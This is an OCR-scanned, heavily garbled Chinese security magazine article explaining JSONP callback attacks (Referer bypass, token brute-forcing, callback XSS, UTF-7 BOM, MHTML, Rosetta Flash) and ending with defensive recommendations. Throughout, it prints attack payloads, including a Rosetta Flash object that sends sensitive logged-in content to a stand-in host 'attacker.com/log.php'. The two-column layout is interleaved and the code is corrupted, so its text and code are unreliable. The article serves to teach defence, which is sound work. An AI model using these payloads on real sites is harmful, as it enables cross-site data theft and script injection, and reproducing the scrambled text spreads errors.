Cover Story封面报道l安全新知 Referer过滤(正则)不严谨 等),也能引发类似‘'JSON劫持”(攻击对象不 一例 ̄Nhttp://www.qq.com/login.php?calback=cb这 定是JSON)的攻击。 个URL输出数据时,使用了Referer过滤。但可惜 只过滤了是否包含qq.corn这样的关键词,而攻击 callback可定义导致的安全问题 者可以通过构造URL(例 ̄Nhttp://www.qq corn attack.com/attack.htm或http://www.attack.com/ 为了方便前端开发调用,输出一般都是可定义 attack.htm?qq.com)绕过Referer防御。 的,前文提到的PHP实现的代码: <?php //getUse rs.php 空Referer ¥calIback=¥_GET【‘caIIback’】; Print¥caIIback。‘({“id”:”1”,”name” 在很多情况下,开发者部署过滤Referer来源时, 知道创宇”});。; ?> 忽视了空Referer的过滤。一般情况下浏览器直接 就是因为可定义callback名输出点,导致了各种安 访问某URL是不带Referer的,因此很多防御部署 全问题。当然严格来说,里面提到的具体数据输 允许空Referer。恰恰由于这个疏忽,导致了整个 出也是可以利用的,只是本文重点强调callback这 防御系统奔溃,因为在通过跨协议调用JavaScript 个输出点。 时,发送的HTTP请求中Referer为空。跨协议调用 的一个简单例子如下: Content-Type与XSS漏洞 <if rame S rc=”Javascript:’<sCript>functi on 3SON(0){a ert(0.userinfo.userid);}《/ 在JSON[ ̄0出现时,大多数开发者还没有良好的 SC ript><sC ript S rc=httP://www-qq。com/ Iogin. 编码习惯。输出JSON时,没有严格定义Content— php?calback=3SON></script>‘“></iftame> pe(Content-Type:application/json),再加上 代码中我们使用<iframe>调用JavaScript伪协议 callback输出点没有进行过滤,直接导致了一个典 来实现空Referer调用JSON文件。 型的XSS漏洞,上文演示的getUsers.php就存在这 另外一种手段是通过随机token防御,这项技术在 个问题: 腾讯的网站上应用较多,例如通过http://r.qzone ht t P://1 2 7.0 0.1/g et U S e r s.P h P? callback=<scriDt>a ert(/xss/)</script> qq.com/cgi—bin/tfriend/friendshowqqfriends. ——对Content-Type来说,早期还有一部分人比较喜 cgi?uin=[QQ号]&gtk=【随机token]输 ̄JSON。这 欢使用application/javascript,而这个头在IE等浏 个方案是有效的,但同样存在防御实现不严谨的 览器下一样可以解析HTML导致XSS漏洞。对于这 问题。例如此t0ken可通过以下方式暴力破解: 种类型的漏洞,防御主要从以下两点部署。 function—CalIback(0){ alert{0.items【Oj.uin): a.严格定义Content-Type:application/json } f0r(i=17008;i<17009;i++){//暴力循环调用 这样的防御机制导致了浏览器不解析恶意插入 getjSON(”httP://r.q z0ne-qqt C0m/Cgi— bin/tf rie nd/f riendShow_qqf riend S。 的XSS代码(直接访问提示文件下载)。但凡事 —cgi?uin=nnl11&g—tk=“+i); 都有例外,在IE的进化过程中就曾出现通过一些 } 当然,这些都是单纯针对“JSON劫持”本身展 技巧,可以绕过Content- pe防御解析HTML的 事件,例如在IE6、7等版本请求的URL文件后加 开的攻防战。在现实中,许多漏洞是相互配合实 一现突破的。例如上面提到的Referer+部署随 个/x.html就可以解析HTML(http://127.0 0.1/ 机token实现都很完美,理论上无懈可击,但只 getUsers php/x.html?callback=<script>a1ert(/ xss/)</script>),具体可参考http://hi baidu.com/ 要该网站存在XSS漏洞,就可能让你的防御体系 hi heige/item/flecde01c4af3ed61ef04646。 瞬间崩溃!这里顺带一提,以上是一些通用实现 “JSON劫持”的方法,但现实中,某些浏览器的 b.过滤callback以及JSON数据输出 一些特有处理机制(如css加载、错误信息显示 这种机制是比较传统的攻防思维,对输出点进行 Cover Story封面报道l安全新知 XSS过滤——又是一个看上去很完美的解决方 中的callback函数名输出点: 案,但往往都“事与愿违”。2011年,一个utf7一 <if rame S rc=”mhtml:httP://127.0.0.I/ getUsers.php?callback=Content—Type%3A%20 BOM就复活了n ̄'XSS漏洞。这种攻击方式主要存 muItipa rt%2Frefated%3B%20bounda ry%3D— 在于IE中(新版IE已修复),当我们在callback点 bWVudC5j b29raWUpD0p9D0pzzxRuaw1lb3VeKCJj 输出+/v8这样的utf7一BOM时,IE浏览器会把当前 cm9zc2NVbtpZSgpIiwxHDAwKTsNCj wVc2NyaxB0P 执行的编码认为是utf7,因此我们通过utf7提交的 jwvYmgkeT4NCg%3D%3D%OD%OA--_boundary—by— mere--%OD%BA!cookie”></iframe> XSS代码会被自动解码并执行。例如: 关于这个案例,详见((Hacking with MHTML h t t P://1 2 7・0-0・1/g e t U S e r s・ php?calIback=%2B%2Fv8%20%2BADwAaABOAGOAPg Protocol Handler ̄(http://www.80vu1.com/ A8AGIAbwBkAHkAPgA8AHMAYwByAGkAcABOAD4AYQB mhtml/Hacking%20with%20mhtml%20 sAGUAcgBOACgAMQApADsAPAAvAHMAYwByAGkAcABO AD4APAAvAGIAbwBkAHkAPgA8AC8AaBOAGOAPg-%20 protoco1%20handler.txt)。 其中: 它充分利用了callback输出点直接输出MHTML %2B%2Fv8%20%2BADwAaABOAGOAPgA8AGIAbwBkAHk APgA8AHMAYwByAGkAcABOAD4AYQBsAGUAcgBOACgA 文件格式,然后利用<iframe>调用MHTML标签 MQApADsAPAAvAHMAYwByAGkAcABOAD4APAAvAGIAb 解析并执行HTML及JavaScript代码,这也是一个 wBkAHkAPgA8AC8AaBOAGOAPg- ̄20 通用性的XSS漏洞(UXSS),随后微软紧急推出 URLdecode为: 了解决方案及漏洞补丁程序。在微软推出安全补 +/v8+ADwAaABOAGOAPgA8AGIAbwBkAHkAPgASAHMA YwByAGkAcABOAD4AYQBsAGUAcgBOACgAMQApADsAP 丁前,这个漏洞已影 ̄Google等大型网站,当时 AAvAHMAYwByAGkAcABOAD4APAAvAGIAbwBkAHkAPg A8AC8AaABAG0APg一 Google为了防御这类攻击启用的措施是,在JSON +/v8为utf7一BOM,其后为我们注入通过 输出callback时,在文件开头增加了多个换行符, utf一7编码后的XSS代码:<htm><b0dy> 让远程MHTML调用时解析失败。 <script>alert(1);</script></body></htm>。 在攻击角度来说,它充分利用了计算机体系的各 关于这个案例的详情可参考http://hi.baidu.com/ 种文件格式识别机制。在这个思维的引导下,之 hi heige/item/357831ab6932239a14107346。 后还出现过多次由文件格式加载带来的安全问 题,例 ̄ucss文件格式加载导致的类“JSON劫 利用utf7一BOM是一种非常有代表性的通用方 持”,JavaScript ̄N载及各种文件格式编码带来的 法,除了升级IE进行防御,开发者也可直接指定 Content-Type的编码(Content-Type:application/ 安全问题等。历史进程往往会出现各种惊人的相 似,JSONP与文件格式的传奇还在上演。 json;charset=utf-8)。然而尽管如此,仍有绕过这 些防御措施的可能。 FLASH与JSONP 上文提到的a、b两种防御缺一都可能出现问题, 该来的终究会来,只是没想到相似的场景上演得 那么我们使用“a+b方案”是否就万无一失了呢? 这么快。就在最近的一次Flash安全更新(security 一切皆有可能,我们拭目以待。 buHe ̄n APSB14—17)中修复了一个安全漏洞: 其他文件格式(Content.Type)与 These updates include additional validation JSoN checks to ensure that Flash Player rejects malicious content from vulnerab1e JSONP MHTML与JS0NP callback APIs(CVE一2014—4671) 2011年,IE曾出现一个通过MHTML协议解析跨 这个漏洞因影响了Google、Facebook、Tumblr等 域的漏洞:MHTML Mime—Formatted Request 大网站而备受媒体关注。其攻击技术与JSONP Vulnerability(CVE一2011-0096,https://technet. 的callback点息息相关。这个问题主要发生在 microsoft corn/library/security/ms11—026)。而当 HTML通过<embed>、<object>调用远程Flash 时的一种常见攻击方式就是利用JSONP调用机制 文件时,会直接忽视Content-Type,而JSONP的 51 Cover Story封面报道1安全新知 52 callback输出一般都在文件开头,那么完全可以 XSS的过滤显然可以直接忽略,这个漏洞也证明 通过callback点输出一个swf的文件,然后远程 前文我们提到的“a+b方案”能被直接绕过。 HTML调用并运行swf文件。例如: <SC ript> //from http:1150.56.33.56/btOg/?p=242 防御 vat flashvars={): var params:{}: var attributes={}: 通过上面的攻防对抗演练,很多开发者可能会感 var url=“http://127.0.0-1/getUsers。php?ca llback=CWS%07%AA%01%00%eex%DADP%CIN%821%1 觉有点悲剧,各种防御机制好像都有办法绕过。 4%9C%ED%22一j 8%21%24%EB%81%03z%E3%E2%IF%%F 这里我想到一个真理:没有绝对的安全。那么我 Cq%80%IE%DI%3F%e0%ee%ee%FF%FF%@3%00%84%26 们防御的意义在哪里呢?我认为防御的意义就是 N%A8”; swfobj ect。embedSWF(U rl,“content”,“400”, 虽然没办法让程序最安全(绝对安全),但可以 “200”,”10.0.0”,“expressInstaU.swf”, 让它更安全。提高攻击者的技术成本和门槛是 flashvaFS,params,attributes); </sc ript> 安全防御的一个主要并重要的思路。回到具体的 这是早在2012年就提出的通过callback输出的swf JSONP防御上,我们可以总结如下几点。 文件流,其实际效果是在被攻击的网站上存放了 ・严格安全地实现CSRF方式调用JSON文件:限 一个恶意swf文件,HTML远程调用这个swfj<件,  ̄ljReferer、部署一次 l ̄token等。 可直接导致CSRF攻击。 ・严格安装JSON格式标准输出COntent— 关于具体上传Flash文件带来的CSRF攻击,请参 pe及编码(Content-Type:application/json: 考 Fla8h+upload Csrf攻击技术》一文(http:// charset=utf一8)。 blog.knownsec c0m/2014/06/flashuploadcsrf—— attacking/)。 -严格过滤callback函数名及JSON数据的输出。 细心的朋友可能发现,上面代码callback输出的 _严格对JSONP输出callback函数名的长度 (例如防御上面Flash输出的方法)。 swf文件流中存在各种特殊字符,通过前文提到的 “b过滤callback以及JSON数据输出”方案可以 -其他一些比较“猥琐”的方法:例如在callback .直接拦截,对于Goolge、Facebook这样久经考验 输出前加入其他字符(如/”/、换行符等)这样不 的大网站来说,防御不在话下。 影P ̄JSON文件加载,又能一定程度预防其他文 在Flash更新“security bulletin APSB14—17”发布 件格式的输出。Gmail就曾使用AJAX的方式获取 后,该漏洞发现者给出了漏洞细节,其中一个亮 JSON,通过在输出JSON之前加入while(I);这样的 点,就是作者实现了一个纯alphanumeric输出swf 代码防止JavaScript远程调用。e 文件的方法: <object type=。。application/x-shockwave- flash“ data=“https://vulnerable.c0m/endO0int?ca back=CWSMIK10hCD0UD0IZUnnnnnnnnnnnnnnnnn nnUU5nnnnnn3Snn7iiudIbEAt333swWessGO3sDDt 00000000000000000000000000000000000000000 0o0oo00o000888888880NjOh”style=“display: none“> <param name=。‘FlashVars。‘ Va z Ue:”u r z=httP S //VU z ne rab ze。com/ acc0unt/sens it ive content logged in &exfiltrate=http://attacker.com/log.php‘’> </obj ect> 周景平 知道创宇首席安全官,曾是一名拥有5年多从业 具体请参考http://miki.it/blog/2O14/7/8/abusing— 经验的外科医生,2012年加入知道创宇,转行安 全。网络ID:Superhei(黑哥) jsonp—with—rosetta—flash/。 因此,对于纯alphanumeric输出来说,那些针对